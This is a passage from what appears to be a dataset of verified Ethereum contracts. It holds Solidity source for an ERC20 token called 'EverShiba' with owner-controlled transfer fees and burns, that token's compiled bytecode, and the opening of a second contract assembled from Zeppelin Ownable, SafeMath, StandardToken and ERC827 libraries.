_allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.8.4; contract EverShiba is ERC20, Owned { uint256 public minSupply; address public beneficiary; bool public feesEnabled; mapping(address => bool) public isExcludedFromFee; event MinSupplyUpdated(uint256 oldAmount, uint256 newAmount); event BeneficiaryUpdated(address oldBeneficiary, address newBeneficiary); event FeesEnabledUpdated(bool enabled); event ExcludedFromFeeUpdated(address account, bool excluded); constructor() ERC20("EverShiba", "EHIBA") { minSupply = 100000000 ether; uint256 totalSupply = 1000000000000000 ether; feesEnabled = false; _mint(_msgSender(), totalSupply); isExcludedFromFee[msg.sender] = true; isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; beneficiary = msg.sender; } /** * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary * @dev after a certain threshold, try to swap collected fees automatically * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed */ function _transfer( address sender, address recipient, uint256 amount ) internal override { require( recipient != address(this), "Cannot send tokens to token contract" ); if ( !feesEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient] ) { ERC20._transfer(sender, recipient, amount); return; } // burn tokens if min supply not reached yet uint256 burnedFee = calculateFee(amount, 25); if (totalSupply() - burnedFee >= minSupply) { _burn(sender, burnedFee); } else { burnedFee = 0; } uint256 transferFee = calculateFee(amount, 200); ERC20._transfer(sender, beneficiary, transferFee); ERC20._transfer(sender, recipient, amount - transferFee - burnedFee); } function calculateFee(uint256 _amount, uint256 _fee) public pure returns (uint256) { return (_amount * _fee) / 10000; } /** * @notice allows to burn tokens from own balance * @dev only allows burning tokens until minimum supply is reached * @param value amount of tokens to burn */ function burn(uint256 value) public { _burn(_msgSender(), value); require(totalSupply() >= minSupply, "total supply exceeds min supply"); } /** * @notice sets minimum supply of the token * @dev only callable by owner * @param _newMinSupply new minimum supply */ function setMinSupply(uint256 _newMinSupply) public onlyOwner { emit MinSupplyUpdated(minSupply, _newMinSupply); minSupply = _newMinSupply; } /** * @notice sets recipient of transfer fee * @dev only callable by owner * @param _newBeneficiary new beneficiary */ function setBeneficiary(address _newBeneficiary) public onlyOwner { setExcludeFromFee(_newBeneficiary, true); emit BeneficiaryUpdated(beneficiary, _newBeneficiary); beneficiary = _newBeneficiary; } /** * @notice sets whether account collects fees on token transfer * @dev only callable by owner * @param _enabled bool whether fees are enabled */ function setFeesEnabled(bool _enabled) public onlyOwner { emit FeesEnabledUpdated(_enabled); feesEnabled = _enabled; } /** * @notice adds or removes an account that is exempt from fee collection * @dev only callable by owner * @param _account account to modify * @param _excluded new value */ function setExcludeFromFee(address _account, bool _excluded) public onlyOwner { isExcludedFromFee[_account] = _excluded; emit ExcludedFromFeeUpdated(_account, _excluded); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635342acb4116100de578063a64e4f8a11610097578063af9549e011610071578063af9549e014610462578063b5ed298a1461047e578063d153b60c1461049a578063dd62ed3e146104b857610173565b8063a64e4f8a146103f8578063a901dd9214610416578063a9059cbb1461043257610173565b80635342acb41461030e57806370a082311461033e5780638da5cb5b1461036e5780638fe6cae31461038c57806395d89b41146103aa578063a457c2d7146103c857610173565b8063313ce56711610130578063313ce5671461024c57806334e731221461026a57806338af3eed1461029a57806339509351146102b857806342966c68146102e85780634e71e0c81461030457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ac2874b146101e45780631c31f7101461020057806323b872dd1461021c575b600080fd5b6101806104e8565b60405161018d9190611cf3565b60405180910390f35b6101b060048036038101906101ab91906119ab565b61057a565b6040516101bd9190611cd8565b60405180910390f35b6101ce610598565b6040516101db9190611e75565b60405180910390f35b6101fe60048036038101906101f99190611a10565b6105a2565b005b61021a60048036038101906102159190611892565b610641565b005b61023660048036038101906102319190611920565b610745565b6040516102439190611cd8565b60405180910390f35b610254610846565b6040516102619190611eb9565b60405180910390f35b610284600480360381019061027f9190611a39565b61084f565b6040516102919190611e75565b60405180910390f35b6102a2610872565b6040516102af9190611c6b565b60405180910390f35b6102d260048036038101906102cd91906119ab565b610898565b6040516102df9190611cd8565b60405180910390f35b61030260048036038101906102fd9190611a10565b610944565b005b61030c6109a4565b005b61032860048036038101906103239190611892565b610b01565b6040516103359190611cd8565b60405180910390f35b61035860048036038101906103539190611892565b610b21565b6040516103659190611e75565b60405180910390f35b610376610b69565b6040516103839190611c6b565b60405180910390f35b610394610b8f565b6040516103a19190611e75565b60405180910390f35b6103b2610b95565b6040516103bf9190611cf3565b60405180910390f35b6103e260048036038101906103dd91906119ab565b610c27565b6040516103ef9190611cd8565b60405180910390f35b610400610d1b565b60405161040d9190611cd8565b60405180910390f35b610430600480360381019061042b91906119e7565b610d2e565b005b61044c600480360381019061044791906119ab565b610ddc565b6040516104599190611cd8565b60405180910390f35b61047c6004803603810190610477919061196f565b610dfa565b005b610498600480360381019061049391906118bb565b610ee8565b005b6104a2610f86565b6040516104af9190611c6b565b60405180910390f35b6104d260048036038101906104cd91906118e4565b610fac565b6040516104df9190611e75565b60405180910390f35b6060600380546104f79061209f565b80601f01602080910402602001604051908101604052809291908181526020018280546105239061209f565b80156105705780601f1061054557610100808354040283529160200191610570565b820191906000526020600020905b81548152906001019060200180831161055357829003601f168201915b5050505050905090565b600061058e610587611033565b848461103b565b6001905092915050565b6000600254905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105fc57600080fd5b7f8e485513f38ca4c23b0c8170161c4fd5c16f934ea7c068b376f646b0194d1b8e6007548260405161062f929190611e90565b60405180910390a18060078190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461069b57600080fd5b6106a6816001610dfa565b7fe72eaf6addaa195f3c83095031dd08f3a96808dcf047babed1fe4e4f69d6c622600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516106f9929190611c86565b60405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610752848484611206565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079d611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490611db5565b60405180910390fd5b61083a85610829611033565b85846108359190611fd1565b61103b565b60019150509392505050565b60006012905090565b600061271082846108609190611f77565b61086a9190611f46565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061093a6108a5611033565b8484600160006108b3611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109359190611ef0565b61103b565b6001905092915050565b61095561094f611033565b826113e6565b600754610960610598565b10156109a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099890611e35565b60405180910390fd5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109fe57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b606060048054610ba49061209f565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd09061209f565b8015610c1d5780601f10610bf257610100808354040283529160200191610c1d565b820191906000526020600020905b815481529060010190602001808311610c0057829003601f168201915b5050505050905090565b60008060016000610c36611033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610cf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cea90611e55565b60405180910390fd5b610d10610cfe611033565b858584610d0b9190611fd1565b61103b565b600191505092915050565b600860149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8857600080fd5b7fba500994dffbabeeb9e430f03a978d7b975359a20c5bde3a6ccb5a0c454680c881604051610db79190611cd8565b60405180910390a180600860146101000a81548160ff02191690831515021790555050565b6000610df0610de9611033565b8484611206565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f318c131114339c004fff0a22fcdbbc0566bb2a7cd3aa1660e636ec5a66784ff28282604051610edc929190611caf565b60405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290611e15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561111b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111290611d55565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea26469706673582212207ba7499aeaab1be1b1671b96e6ff359a06b6323bc2f01ac2505361d6b89d243064736f6c63430008040033
[ 38 ]
0xf2a7c7f3932efcc2ecb6b2c372b84030de191db0
pragma solidity 0.4.19; // File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: node_modules/zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC827/ERC827.sol /** @title ERC827 interface, an extension of ERC20 token standard Interface of a ERC827 token, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. */ contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } // File: node_modules/zeppelin-solidity/contracts/token/ERC827/ERC827Token.sol /** @title ERC827, an extension of ERC20 token standard Implementation the ERC827, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. Uses OpenZeppelin StandardToken. */ contract ERC827Token is ERC827, StandardToken { /** @dev Addition to ERC20 token methods. It 